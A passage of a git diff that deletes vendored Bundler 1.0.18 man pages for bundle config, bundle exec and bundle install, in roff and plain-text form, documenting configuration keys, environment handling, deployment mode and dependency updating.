-You can use \fBbundle config\fR to give bundler the flags to pass to the gem installer every time bundler tries to install a particular gem\.
-.
-.P
-A very common example, the \fBmysql\fR gem, requires Snow Leopard users to pass configuration flags to \fBgem install\fR to specify where to find the \fBmysql_config\fR executable\.
-.
-.IP "" 4
-.
-.nf
-
-gem install mysql \-\- \-\-with\-mysql\-config=/usr/local/mysql/bin/mysql_config
-.
-.fi
-.
-.IP "" 0
-.
-.P
-Since the specific location of that executable can change from machine to machine, you can specify these flags on a per\-machine basis\.
-.
-.IP "" 4
-.
-.nf
-
-bundle config build\.mysql \-\-with\-mysql\-config=/usr/local/mysql/bin/mysql_config
-.
-.fi
-.
-.IP "" 0
-.
-.P
-After running this command, every time bundler needs to install the \fBmysql\fR gem, it will pass along the flags you specified\.
-.
-.SH "CONFIGURATION KEYS"
-Configuration keys in bundler have two forms: the canonical form and the environment variable form\.
-.
-.P
-For instance, passing the \fB\-\-without\fR flag to bundle install(1) \fIbundle\-install\.1\.html\fR prevents Bundler from installing certain groups specified in the Gemfile(5)\. Bundler persists this value in \fBapp/\.bundle/config\fR so that calls to \fBBundler\.setup\fR do not try to find gems from the \fBGemfile\fR that you didn\'t install\. Additionally, subsequent calls to bundle install(1) \fIbundle\-install\.1\.html\fR remember this setting and skip those groups\.
-.
-.P
-The canonical form of this configuration is \fB"without"\fR\. To convert the canonical form to the environment variable form, capitalize it, and prepend \fBBUNDLE_\fR\. The environment variable form of \fB"without"\fR is \fBBUNDLE_WITHOUT\fR\.
-.
-.SH "LIST OF AVAILABLE KEYS"
-The following is a list of all configuration keys and their purpose\. You can learn more about their operation in bundle install(1) \fIbundle\-install\.1\.html\fR\.
-.
-.TP
-\fBpath\fR (\fBBUNDLE_PATH\fR)
-The location on disk to install gems\. Defaults to \fB$GEM_HOME\fR in development and \fBvendor/bundler\fR when \fB\-\-deployment\fR is used
-.
-.TP
-\fBfrozen\fR (\fBBUNDLE_FROZEN\fR)
-Disallow changes to the \fBGemfile\fR\. Defaults to \fBtrue\fR when \fB\-\-deployment\fR is used\.
-.
-.TP
-\fBwithout\fR (\fBBUNDLE_WITHOUT\fR)
-A \fB:\fR\-separated list of groups whose gems bundler should not install
-.
-.TP
-\fBbin\fR (\fBBUNDLE_BIN\fR)
-Install executables from gems in the bundle to the specified directory\. Defaults to \fBfalse\fR\.
-.
-.TP
-\fBgemfile\fR (\fBBUNDLE_GEMFILE\fR)
-The name of the file that bundler should use as the \fBGemfile\fR\. This location of this file also sets the root of the project, which is used to resolve relative paths in the \fBGemfile\fR, among other things\. By default, bundler will search up from the current working directory until it finds a \fBGemfile\fR\.
-.
-.P
-In general, you should set these settings per\-application by using the applicable flag to the bundle install(1) \fIbundle\-install\.1\.html\fR command\.
-.
-.P
-You can set them globally either via environment variables or \fBbundle config\fR, whichever is preferable for your setup\. If you use both, environment variables will take preference over global settings\.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config.txt
deleted file mode 100644
index e9b9755f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config.txt
+++ /dev/null
@@ -1,108 +0,0 @@
-BUNDLE-CONFIG(1)					      BUNDLE-CONFIG(1)
-
-
-
-NAME
-       bundle-config - Set bundler configuration options
-
-SYNOPSIS
-       bundle config [name [value]]
-
-DESCRIPTION
-       This  command  allows you to interact with bundler's configuration sys-
-       tem. Bundler retrieves its configuration  from  the  local  application
-       (app/.bundle/config), environment variables, and the user's home direc-
-       tory (~/.bundle/config), in that order of priority.
-
-       Executing bundle config with no parameters will print  a  list  of  all
-       bundler configuration for the current bundle, and where that configura-
-       tion was set.
-
-       Executing bundle config <name> will print the value of that  configura-
-       tion setting, and where it was set.
-
-       Executing  bundle  config <name> <value> will set that configuration to
-       the value specified for all bundles executed as the current  user.  The
-       configuration will be stored in ~/.bundle/config.
-
-BUILD OPTIONS
-       You  can use bundle config to give bundler the flags to pass to the gem
-       installer every time bundler tries to install a particular gem.
-
-       A very common example, the mysql gem, requires Snow  Leopard  users  to
-       pass  configuration  flags  to gem install to specify where to find the
-       mysql_config executable.
-
-
-
-	   gem install mysql -- --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-
-
-       Since the specific location of that executable can change from  machine
-       to machine, you can specify these flags on a per-machine basis.
-
-
-
-	   bundle config build.mysql --with-mysql-config=/usr/local/mysql/bin/mysql_config
-
-
-
-       After  running  this  command,  every time bundler needs to install the
-       mysql gem, it will pass along the flags you specified.
-
-CONFIGURATION KEYS
-       Configuration keys in bundler have two forms: the  canonical  form  and
-       the environment variable form.
-
-       For  instance,  passing	the  --without	flag to bundle install(1) bun-
-       dle-install.1.html prevents  Bundler  from  installing  certain	groups
-       specified  in  the Gemfile(5). Bundler persists this value in app/.bun-
-       dle/config so that calls to Bundler.setup do not try to find gems  from
-       the  Gemfile that you didn't install. Additionally, subsequent calls to
-       bundle install(1) bundle-install.1.html remember this setting and  skip
-       those groups.
-
-       The  canonical  form of this configuration is "without". To convert the
-       canonical form to the environment variable  form,  capitalize  it,  and
-       prepend	BUNDLE_.  The  environment  variable form of "without" is BUN-
-       DLE_WITHOUT.
-
-LIST OF AVAILABLE KEYS
-       The following is a list of all configuration keys  and  their  purpose.
-       You  can  learn	more  about  their operation in bundle install(1) bun-
-       dle-install.1.html.
-
-       path (BUNDLE_PATH)
-	      The location on disk to install gems. Defaults to  $GEM_HOME  in
-	      development and vendor/bundler when --deployment is used
-
-       frozen (BUNDLE_FROZEN)
-	      Disallow changes to the Gemfile. Defaults to true when --deploy-
-	      ment is used.
-
-       without (BUNDLE_WITHOUT)
-	      A :-separated list of  groups  whose  gems  bundler  should  not
-	      install
-
-       bin (BUNDLE_BIN)
-	      Install  executables  from  gems	in the bundle to the specified
-	      directory. Defaults to false.
-
-       gemfile (BUNDLE_GEMFILE)
-	      The name of the file that bundler should	use  as  the  Gemfile.
-	      This  location  of  this file also sets the root of the project,
-	      which is used to resolve relative paths in  the  Gemfile,  among
-	      other  things.  By default, bundler will search up from the cur-
-	      rent working directory until it finds a Gemfile.
-
-       In general, you should set these settings per-application by using  the
-       applicable flag to the bundle install(1) bundle-install.1.html command.
-
-       You can set them globally either via environment  variables  or	bundle
-       config,	whichever is preferable for your setup. If you use both, envi-
-       ronment variables will take preference over global settings.
-
-
-
-				 October 2010		      BUNDLE-CONFIG(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec
deleted file mode 100644
index 855f0a79..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec
+++ /dev/null
@@ -1,122 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE\-EXEC" "1" "January 2011" "" ""
-.
-.SH "NAME"
-\fBbundle\-exec\fR \- Execute a command in the context of the bundle
-.
-.SH "SYNOPSIS"
-\fBbundle exec\fR \fIcommand\fR
-.
-.SH "DESCRIPTION"
-This command executes the command, making all gems specified in the \fBGemfile(5)\fR available to \fBrequire\fR in Ruby programs\.
-.
-.P
-Essentially, if you would normally have run something like \fBrspec spec/my_spec\.rb\fR, and you want to use the gems specified in the \fBGemfile(5)\fR and installed via bundle install(1) \fIbundle\-install\.1\.html\fR, you should run \fBbundle exec rspec spec/my_spec\.rb\fR\.
-.
-.P
-Note that \fBbundle exec\fR does not require that an executable is available on your shell\'s \fB$PATH\fR\.
-.
-.SH "BUNDLE INSTALL \-\-BINSTUBS"
-If you use the \fB\-\-binstubs\fR flag in bundle install(1) \fIbundle\-install\.1\.html\fR, Bundler will automatically create a directory (which defaults to \fBapp_root/bin\fR) containing all of the executables available from gems in the bundle\.
-.
-.P
-After using \fB\-\-binstubs\fR, \fBbin/rspec spec/my_spec\.rb\fR is identical to \fBbundle exec rspec spec/my_spec\.rb\fR\.
-.
-.SH "ENVIRONMENT MODIFICATIONS"
-\fBbundle exec\fR makes a number of changes to the shell environment, then executes the command you specify in full\.
-.
-.IP "\(bu" 4
-make sure that it\'s still possible to shell out to \fBbundle\fR from inside a command invoked by \fBbundle exec\fR (using \fB$BUNDLE_BIN_PATH\fR)
-.
-.IP "\(bu" 4
-put the directory containing executables (like \fBrails\fR, \fBrspec\fR, \fBrackup\fR) for your bundle on \fB$PATH\fR
-.
-.IP "\(bu" 4
-make sure that if bundler is invoked in the subshell, it uses the same \fBGemfile\fR (by setting \fBBUNDLE_GEMFILE\fR)
-.
-.IP "\(bu" 4
-add \fB\-rbundler/setup\fR to \fB$RUBYOPT\fR, which makes sure that Ruby programs invoked in the subshell can see the gems in the bundle
-.
-.IP "" 0
-.
-.P
-It also modifies Rubygems:
-.
-.IP "\(bu" 4
-disallow loading additional gems not in the bundle
-.
-.IP "\(bu" 4
-modify the \fBgem\fR method to be a no\-op if a gem matching the requirements is in the bundle, and to raise a \fBGem::LoadError\fR if it\'s not
-.
-.IP "\(bu" 4
-Define \fBGem\.refresh\fR to be a no\-op, since the source index is always frozen when using bundler, and to prevent gems from the system leaking into the environment
-.
-.IP "\(bu" 4
-Override \fBGem\.bin_path\fR to use the gems in the bundle, making system executables work
-.
-.IP "\(bu" 4
-Add all gems in the bundle into Gem\.loaded_specs
-.
-.IP "" 0
-.
-.SS "Shelling out"
-When shelling out (using the \fBsystem\fR or backticks methods, for example), Bundler\'s environment changes will propogate to the subshell environment\. If you desire to shell out without Bundler\'s environment changes, simply employ the \fBwith_clean_env\fR method\. It will restore all environment variables to what they were before Bundler was activated\. For example:
-.
-.IP "" 4
-.
-.nf
-
-Bundler\.with_clean_env do
-  `brew install wget`
-end
-.
-.fi
-.
-.IP "" 0
-.
-.SH "RUBYGEMS PLUGINS"
-At present, the Rubygems plugin system requires all files named \fBrubygems_plugin\.rb\fR on the load path of \fIany\fR installed gem when any Ruby code requires \fBrubygems\.rb\fR\. This includes executables installed into the system, like \fBrails\fR, \fBrackup\fR, and \fBrspec\fR\.
-.
-.P
-Since Rubygems plugins can contain arbitrary Ruby code, they commonly end up activating themselves or their dependencies\.
-.
-.P
-For instance, the \fBgemcutter 0\.5\fR gem depended on \fBjson_pure\fR\. If you had that version of gemcutter installed (even if you \fIalso\fR had a newer version without this problem), Rubygems would activate \fBgemcutter 0\.5\fR and \fBjson_pure <latest>\fR\.
-.
-.P
-If your Gemfile(5) also contained \fBjson_pure\fR (or a gem with a dependency on \fBjson_pure\fR), the latest version on your system might conflict with the version in your Gemfile(5), or the snapshot version in your \fBGemfile\.lock\fR\.
-.
-.P
-If this happens, bundler will say:
-.
-.IP "" 4
-.
-.nf
-
-You have already activated json_pure 1\.4\.6 but your Gemfile
-requires json_pure 1\.4\.3\. Consider using bundle exec\.
-.
-.fi
-.
-.IP "" 0
-.
-.P
-In this situation, you almost certainly want to remove the underlying gem with the problematic gem plugin\. In general, the authors of these plugins (in this case, the \fBgemcutter\fR gem) have released newer versions that are more careful in their plugins\.
-.
-.P
-You can find a list of all the gems containing gem plugins by running
-.
-.IP "" 4
-.
-.nf
-
-ruby \-rubygems \-e "puts Gem\.find_files(\'rubygems_plugin\.rb\')"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-At the very least, you should remove all but the newest version of each gem plugin, and also remove all gem plugins that you aren\'t using (\fBgem uninstall gem_name\fR)\.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec.txt
deleted file mode 100644
index 04a774a1..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-exec.txt
+++ /dev/null
@@ -1,131 +0,0 @@
-BUNDLE-EXEC(1)							BUNDLE-EXEC(1)
-
-
-
-NAME
-       bundle-exec - Execute a command in the context of the bundle
-
-SYNOPSIS
-       bundle exec command
-
-DESCRIPTION
-       This  command  executes	the  command, making all gems specified in the
-       Gemfile(5) available to require in Ruby programs.
-
-       Essentially, if you  would  normally  have  run	something  like  rspec
-       spec/my_spec.rb,  and  you  want  to use the gems specified in the Gem-
-       file(5) and installed via bundle install(1) bundle-install.1.html,  you
-       should run bundle exec rspec spec/my_spec.rb.
-
-       Note  that bundle exec does not require that an executable is available
-       on your shell's $PATH.
-
-BUNDLE INSTALL --BINSTUBS
-       If  you	use  the   --binstubs	flag   in   bundle   install(1)   bun-
-       dle-install.1.html,  Bundler  will  automatically  create  a  directory
-       (which defaults to app_root/bin)  containing  all  of  the  executables
-       available from gems in the bundle.
-
-       After  using --binstubs, bin/rspec spec/my_spec.rb is identical to bun-
-       dle exec rspec spec/my_spec.rb.
-
-ENVIRONMENT MODIFICATIONS
-       bundle exec makes a number of changes to the  shell  environment,  then
-       executes the command you specify in full.
-
-       o   make  sure  that  it's  still  possible to shell out to bundle from
-	   inside a command invoked by bundle exec (using $BUNDLE_BIN_PATH)
-
-       o   put	the  directory	containing  executables  (like	rails,	rspec,
-	   rackup) for your bundle on $PATH
-
-       o   make  sure  that if bundler is invoked in the subshell, it uses the
-	   same Gemfile (by setting BUNDLE_GEMFILE)
-
-       o   add -rbundler/setup to $RUBYOPT, which makes sure  that  Ruby  pro-
-	   grams invoked in the subshell can see the gems in the bundle
-
-
-
-       It also modifies Rubygems:
-
-       o   disallow loading additional gems not in the bundle
-
-       o   modify  the gem method to be a no-op if a gem matching the require-
-	   ments is in the bundle, and to raise a Gem::LoadError if it's not
-
-       o   Define Gem.refresh to be a no-op, since the source index is	always
-	   frozen  when  using	bundler,  and  to prevent gems from the system
-	   leaking into the environment
-
-       o   Override Gem.bin_path to use the gems in the bundle, making	system
-	   executables work
-
-       o   Add all gems in the bundle into Gem.loaded_specs
-
-
-
-   Shelling out
-       When shelling out (using the system or backticks methods, for example),
-       Bundler's environment changes will propogate to the  subshell  environ-
-       ment. If you desire to shell out without Bundler's environment changes,
-       simply employ the with_clean_env method. It will restore  all  environ-
-       ment  variables	to  what  they	were before Bundler was activated. For
-       example:
-
-
-
-	   Bundler.with_clean_env do
-	     `brew install wget`
-	   end
-
-
-
-RUBYGEMS PLUGINS
-       At present,  the  Rubygems  plugin  system  requires  all  files  named
-       rubygems_plugin.rb  on the load path of any installed gem when any Ruby
-       code requires rubygems.rb. This includes executables installed into the
-       system, like rails, rackup, and rspec.
-
-       Since  Rubygems	plugins can contain arbitrary Ruby code, they commonly
-       end up activating themselves or their dependencies.
-
-       For instance, the gemcutter 0.5 gem depended on json_pure. If  you  had
-       that  version of gemcutter installed (even if you also had a newer ver-
-       sion without this problem), Rubygems would activate gemcutter  0.5  and
-       json_pure <latest>.
-
-       If your Gemfile(5) also contained json_pure (or a gem with a dependency
-       on json_pure), the latest version on your system  might	conflict  with
-       the  version  in  your Gemfile(5), or the snapshot version in your Gem-
-       file.lock.
-
-       If this happens, bundler will say:
-
-
-
-	   You have already activated json_pure 1.4.6 but your Gemfile
-	   requires json_pure 1.4.3. Consider using bundle exec.
-
-
-
-       In this situation, you almost certainly want to remove  the  underlying
-       gem  with  the problematic gem plugin. In general, the authors of these
-       plugins (in this case, the gemcutter gem) have released newer  versions
-       that are more careful in their plugins.
-
-       You can find a list of all the gems containing gem plugins by running
-
-
-
-	   ruby -rubygems -e "puts Gem.find_files('rubygems_plugin.rb')"
-
-
-
-       At the very least, you should remove all but the newest version of each
-       gem plugin, and also remove all gem plugins that you aren't using  (gem
-       uninstall gem_name).
-
-
-
-				 January 2011			BUNDLE-EXEC(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install
deleted file mode 100644
index abe6429f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install
+++ /dev/null
@@ -1,288 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE\-INSTALL" "1" "July 2011" "" ""
-.
-.SH "NAME"
-\fBbundle\-install\fR \- Install the dependencies specified in your Gemfile
-.
-.SH "SYNOPSIS"
-\fBbundle install\fR [\-\-gemfile=GEMFILE]
-.
-.IP "" 4
-.
-.nf
-
-             [\-\-path PATH] [\-\-system]
-             [\-\-without=GROUP1[ GROUP2\.\.\.]]
-             [\-\-local] [\-\-deployment]
-             [\-\-binstubs[=DIRECTORY]]
-             [\-\-standalone[=GROUP1[ GROUP2\.\.\.]]]
-             [\-\-quiet]
-.
-.fi
-.
-.IP "" 0
-.
-.SH "DESCRIPTION"
-Install the gems specified in your Gemfile(5)\. If this is the first time you run bundle install (and a \fBGemfile\.lock\fR does not exist), bundler will fetch all remote sources, resolve dependencies and install all needed gems\.
-.
-.P
-If a \fBGemfile\.lock\fR does exist, and you have not updated your Gemfile(5), bundler will fetch all remote sources, but use the dependencies specified in the \fBGemfile\.lock\fR instead of resolving dependencies\.
-.
-.P
-If a \fBGemfile\.lock\fR does exist, and you have updated your Gemfile(5), bundler will use the dependencies in the \fBGemfile\.lock\fR for all gems that you did not update, but will re\-resolve the dependencies of gems that you did update\. You can find more information about this update process below under \fICONSERVATIVE UPDATING\fR\.
-.
-.SH "OPTIONS"
-.
-.TP
-\fB\-\-gemfile=<gemfile>\fR
-The location of the Gemfile(5) that bundler should use\. This defaults to a gemfile in the current working directory\. In general, bundler will assume that the location of the Gemfile(5) is also the project root, and will look for the \fBGemfile\.lock\fR and \fBvendor/cache\fR relative to it\.
-.
-.TP
-\fB\-\-path=<path>\fR
-The location to install the gems in the bundle to\. This defaults to the gem home, which is the location that \fBgem install\fR installs gems to\. This means that, by default, gems installed without a \fB\-\-path\fR setting will show up in \fBgem list\fR\. This setting is a \fIremembered option\fR\.
-.
-.TP
-\fB\-\-system\fR
-Installs the gems in the bundle to the system location\. This overrides any previous \fIremembered\fR use of \fB\-\-path\fR\.
-.
-.TP
-\fB\-\-without=<list>\fR
-A space\-separated list of groups to skip installing\. This is a \fIremembered option\fR\.
-.
-.TP
-\fB\-\-local\fR
-Do not attempt to connect to \fBrubygems\.org\fR, instead using just the gems located in \fBvendor/cache\fR\. Note that if a more appropriate platform\-specific gem exists on \fBrubygems\.org\fR, this will bypass the normal lookup\.
-.
-.TP
-\fB\-\-deployment\fR
-Switches bundler\'s defaults into \fIdeployment mode\fR\. Do not use this flag on development machines\.
-.
-.TP
-\fB\-\-binstubs[=<directory>]\fR
-Create a directory (defaults to \fBbin\fR) containing an executable that runs in the context of the bundle\. For instance, if the \fBrails\fR gem comes with a \fBrails\fR executable, this flag will create a \fBbin/rails\fR executable that ensures that all dependencies used come from the bundled gems\.
-.
-.TP
-\fB\-\-standalone[=<list>]\fR
-Make a bundle that can work without Ruby Gems or Bundler at runtime\. It takes a space separated list of groups to install\. It creates a \fBbundle\fR directory and installs the bundle there\. It also generates a \fBbundle/bundler/setup\.rb\fR file to replace Bundler\'s own setup\.
-.
-.SH "DEPLOYMENT MODE"
-Bundler\'s defaults are optimized for development\. To switch to defaults optimized for deployment, use the \fB\-\-deployment\fR flag\. Do not activate deployment mode on development machines, as it will cause in an error when the Gemfile is modified\.
-.
-.IP "1." 4
-A \fBGemfile\.lock\fR is required\.
-.
-.IP
-To ensure that the same versions of the gems you developed with and tested with are also used in deployments, a \fBGemfile\.lock\fR is required\.
-.
-.IP
-This is mainly to ensure that you remember to check your \fBGemfile\.lock\fR into version control\.
-.
-.IP "2." 4
-The \fBGemfile\.lock\fR must be up to date
-.
-.IP
-In development, you can modify your Gemfile(5) and re\-run \fBbundle install\fR to \fIconservatively update\fR your \fBGemfile\.lock\fR snapshot\.
-.
-.IP
-In deployment, your \fBGemfile\.lock\fR should be up\-to\-date with changes made in your Gemfile(5)\.
-.
-.IP "3." 4
-Gems are installed to \fBvendor/bundle\fR not your default system location
-.
-.IP
-In development, it\'s convenient to share the gems used in your application with other applications and other scripts run on the system\.
-.
-.IP
-In deployment, isolation is a more important default\. In addition, the user deploying the application may not have permission to install gems to the system, or the web server may not have permission to read them\.
-.
-.IP
-As a result, \fBbundle install \-\-deployment\fR installs gems to the \fBvendor/bundle\fR directory in the application\. This may be overridden using the \fB\-\-path\fR option\.
-.
-.IP "" 0
-.
-.SH "SUDO USAGE"
-By default, bundler installs gems to the same location as \fBgem install\fR\.
-.
-.P
-In some cases, that location may not be writable by your Unix user\. In that case, bundler will stage everything in a temporary directory, then ask you for your \fBsudo\fR password in order to copy the gems into their system location\.
-.
-.P
-From your perspective, this is identical to installing them gems directly into the system\.
-.
-.P
-You should never use \fBsudo bundle install\fR\. This is because several other steps in \fBbundle install\fR must be performed as the current user:
-.
-.IP "\(bu" 4
-Updating your \fBGemfile\.lock\fR
-.
-.IP "\(bu" 4
-Updating your \fBvendor/cache\fR, if necessary
-.
-.IP "\(bu" 4
-Checking out private git repositories using your user\'s SSH keys
-.
-.IP "" 0
-.
-.P
-Of these three, the first two could theoretically be performed by \fBchown\fRing the resulting files to \fB$SUDO_USER\fR\. The third, however, can only be performed by actually invoking the \fBgit\fR command as the current user\. Therefore, git gems are downloaded and installed into \fB~/\.bundle\fR rather than $GEM_HOME or $BUNDLE_PATH\.
-.
-.P
-As a result, you should run \fBbundle install\fR as the current user, and bundler will ask for your password if it is needed to put the gems into their final location\.
-.
-.SH "INSTALLING GROUPS"
-By default, \fBbundle install\fR will install all gems in all groups in your Gemfile(5), except those declared for a different platform\.
-.
-.P
-However, you can explicitly tell bundler to skip installing certain groups with the \fB\-\-without\fR option\. This option takes a space\-separated list of groups\.
-.
-.P
-While the \fB\-\-without\fR option will skip \fIinstalling\fR the gems in the specified groups, it will still \fIdownload\fR those gems and use them to resolve the dependencies of every gem in your Gemfile(5)\.
-.
-.P
-This is so that installing a different set of groups on another machine (such as a production server) will not change the gems and versions that you have already developed and tested against\.
-.
-.P
-\fBBundler offers a rock\-solid guarantee that the third\-party code you are running in development and testing is also the third\-party code you are running in production\. You can choose to exclude some of that code in different environments, but you will never be caught flat\-footed by different versions of third\-party code being used in different environments\.\fR
-.
-.P
-For a simple illustration, consider the following Gemfile(5):
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "sinatra"
-
-group :production do
-  gem "rack\-perftools\-profiler"
-end
-.
-.fi
-.
-.IP "" 0
-.
-.P
-In this case, \fBsinatra\fR depends on any version of Rack (\fB>= 1\.0\fR, while \fBrack\-perftools\-profiler\fR depends on 1\.x (\fB~> 1\.0\fR)\.
-.
-.P
-When you run \fBbundle install \-\-without production\fR in development, we look at the dependencies of \fBrack\-perftools\-profiler\fR as well\. That way, you do not spend all your time developing against Rack 2\.0, using new APIs unavailable in Rack 1\.x, only to have bundler switch to Rack 1\.2 when the \fBproduction\fR group \fIis\fR used\.
-.
-.P
-This should not cause any problems in practice, because we do not attempt to \fBinstall\fR the gems in the excluded groups, and only evaluate as part of the dependency resolution process\.
-.
-.P
-This also means that you cannot include different versions of the same gem in different groups, because doing so would result in different sets of dependencies used in development and production\. Because of the vagaries of the dependency resolution process, this usually affects more than just the gems you list in your Gemfile(5), and can (surprisingly) radically change the gems you are using\.
-.
-.SH "REMEMBERED OPTIONS"
-Some options (marked above in the \fIOPTIONS\fR section) are remembered between calls to \fBbundle install\fR, and by the Bundler runtime\.
-.
-.P
-For instance, if you run \fBbundle install \-\-without test\fR, a subsequent call to \fBbundle install\fR that does not include a \fB\-\-without\fR flag will remember your previous choice\.
-.
-.P
-In addition, a call to \fBBundler\.setup\fR will not attempt to make the gems in those groups available on the Ruby load path, as they were not installed\.
-.
-.P
-The settings that are remembered are:
-.
-.TP
-\fB\-\-deployment\fR
-At runtime, this remembered setting will also result in Bundler raising an exception if the \fBGemfile\.lock\fR is out of date\.
-.
-.TP
-\fB\-\-path\fR
-Subsequent calls to \fBbundle install\fR will install gems to the directory originally passed to \fB\-\-path\fR\. The Bundler runtime will look for gems in that location\. You can revert this option by running \fBbundle install \-\-system\fR\.
-.
-.TP
-\fB\-\-binstubs\fR
-Bundler will update the executables every subsequent call to \fBbundle install\fR\.
-.
-.TP
-\fB\-\-without\fR
-As described above, Bundler will skip the gems specified by \fB\-\-without\fR in subsequent calls to \fBbundle install\fR\. The Bundler runtime will also not try to make the gems in the skipped groups available\.
-.
-.SH "THE GEMFILE\.LOCK"
-When you run \fBbundle install\fR, Bundler will persist the full names and versions of all gems that you used (including dependencies of the gems specified in the Gemfile(5)) into a file called \fBGemfile\.lock\fR\.
-.
-.P
-Bundler uses this file in all subsequent calls to \fBbundle install\fR, which guarantees that you always use the same exact code, even as your application moves across machines\.
-.
-.P
-Because of the way dependency resolution works, even a seemingly small change (for instance, an update to a point\-release of a dependency of a gem in your Gemfile(5)) can result in radically different gems being needed to satisfy all dependencies\.
-.
-.P
-As a result, you \fBSHOULD\fR check your \fBGemfile\.lock\fR into version control\. If you do not, every machine that checks out your repository (including your production server) will resolve all dependencies again, which will result in different versions of third\-party code being used if \fBany\fR of the gems in the Gemfile(5) or any of their dependencies have been updated\.
-.
-.SH "CONSERVATIVE UPDATING"
-When you make a change to the Gemfile(5) and then run \fBbundle install\fR, Bundler will update only the gems that you modified\.
-.
-.P
-In other words, if a gem that you \fBdid not modify\fR worked before you called \fBbundle install\fR, it will continue to use the exact same versions of all dependencies as it used before the update\.
-.
-.P
-Let\'s take a look at an example\. Here\'s your original Gemfile(5):
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "actionpack", "2\.3\.8"
-gem "activemerchant"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-In this case, both \fBactionpack\fR and \fBactivemerchant\fR depend on \fBactivesupport\fR\. The \fBactionpack\fR gem depends on \fBactivesupport 2\.3\.8\fR and \fBrack ~> 1\.1\.0\fR, while the \fBactivemerchant\fR gem depends on \fBactivesupport >= 2\.3\.2\fR, \fBbraintree >= 2\.0\.0\fR, and \fBbuilder >= 2\.0\.0\fR\.
-.
-.P
-When the dependencies are first resolved, Bundler will select \fBactivesupport 2\.3\.8\fR, which satisfies the requirements of both gems in your Gemfile(5)\.
-.
-.P
-Next, you modify your Gemfile(5) to:
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "actionpack", "3\.0\.0\.rc"
-gem "activemerchant"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-The \fBactionpack 3\.0\.0\.rc\fR gem has a number of new dependencies, and updates the \fBactivesupport\fR dependency to \fB= 3\.0\.0\.rc\fR and the \fBrack\fR dependency to \fB~> 1\.2\.1\fR\.
-.
-.P
-When you run \fBbundle install\fR, Bundler notices that you changed the \fBactionpack\fR gem, but not the \fBactivemerchant\fR gem\. It evaluates the gems currently being used to satisfy its requirements:
-.
-.TP
-\fBactivesupport 2\.3\.8\fR
-also used to satisfy a dependency in \fBactivemerchant\fR, which is not being updated
-.
-.TP
-\fBrack ~> 1\.1\.0\fR
-not currently being used to satify another dependency
-.
-.P
-Because you did not explicitly ask to update \fBactivemerchant\fR, you would not expect it to suddenly stop working after updating \fBactionpack\fR\. However, satisfying the new \fBactivesupport 3\.0\.0\.rc\fR dependency of actionpack requires updating one of its dependencies\.
-.
-.P
-Even though \fBactivemerchant\fR declares a very loose dependency that theoretically matches \fBactivesupport 3\.0\.0\.rc\fR, bundler treats gems in your Gemfile(5) that have not changed as an atomic unit together with their dependencies\. In this case, the \fBactivemerchant\fR dependency is treated as \fBactivemerchant 1\.7\.1 + activesupport 2\.3\.8\fR, so \fBbundle install\fR will report that it cannot update \fBactionpack\fR\.
-.
-.P
-To explicitly update \fBactionpack\fR, including its dependencies which other gems in the Gemfile(5) still depend on, run \fBbundle update actionpack\fR (see \fBbundle update(1)\fR)\.
-.
-.P
-\fBSummary\fR: In general, after making a change to the Gemfile(5) , you should first try to run \fBbundle install\fR, which will guarantee that no other gems in the Gemfile(5) are impacted by the change\. If that does not work, run bundle update(1) \fIbundle\-update\.1\.html\fR\.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install.txt
deleted file mode 100644
index 1e167c85..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-install.txt
+++ /dev/null
@@ -1,346 +0,0 @@
-BUNDLE-INSTALL(1)					     BUNDLE-INSTALL(1)
-
-
-
-NAME
-       bundle-install - Install the dependencies specified in your Gemfile
-
-SYNOPSIS
-       bundle install [--gemfile=GEMFILE]
-
-
-
-			[--path PATH] [--system]
-			[--without=GROUP1[ GROUP2...]]
-			[--local] [--deployment]
-			[--binstubs[=DIRECTORY]]
-			[--standalone[=GROUP1[ GROUP2...]]]
-			[--quiet]
-
-
-
-DESCRIPTION
-       Install	the  gems  specified  in your Gemfile(5). If this is the first
-       time you run bundle  install  (and  a  Gemfile.lock  does  not  exist),
-       bundler will fetch all remote sources, resolve dependencies and install
-       all needed gems.
-
-       If a Gemfile.lock does exist, and you have not updated your Gemfile(5),
-       bundler	will fetch all remote sources, but use the dependencies speci-
-       fied in the Gemfile.lock instead of resolving dependencies.
-
-       If a Gemfile.lock does exist, and you  have  updated  your  Gemfile(5),
-       bundler will use the dependencies in the Gemfile.lock for all gems that
-       you did not update, but will re-resolve the dependencies of  gems  that
-       you did update. You can find more information about this update process
-       below under CONSERVATIVE UPDATING.
-
-OPTIONS
-       --gemfile=<gemfile>
-	      The location of the Gemfile(5) that  bundler  should  use.  This
-	      defaults	to a gemfile in the current working directory. In gen-
-	      eral, bundler will assume that the location of the Gemfile(5) is
